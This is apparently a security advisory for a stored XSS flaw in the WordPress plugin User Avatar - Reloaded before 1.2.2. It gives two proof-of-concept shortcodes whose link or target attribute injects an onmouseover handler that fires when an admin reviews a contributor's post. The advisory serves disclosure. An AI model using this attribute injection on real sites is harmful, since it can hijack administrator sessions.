User Avatar - Reloaded < 1.2.2 - Contributor+ Stored XSS

2023-09-2500:00:00

Dmitrii Ignatyev

contributor+

stored xss

shortcode injection

admin reviewed

payload delivery

0.0004 Low

EPSS

Percentile

14.0%

JSON

Description The plugin does not properly sanitize and escape certain of its shortcodes attributes, which could allow relatively low-privileged users like contributors to conduct Stored XSS attacks.

As a Contributor+ create a new post and add one of the following shortcode.

[avatar user="admin" size="96" align="left" link='" onmouseover="alert(/XSS/)"' /]

[avatar user="admin" size="96" align="left" link="/" target='" onmouseover="alert(/XSS/)"' /]

Save it to be reviewed.
When an admin reviews the post and moves the mouse over the added code, the payload will be delivered.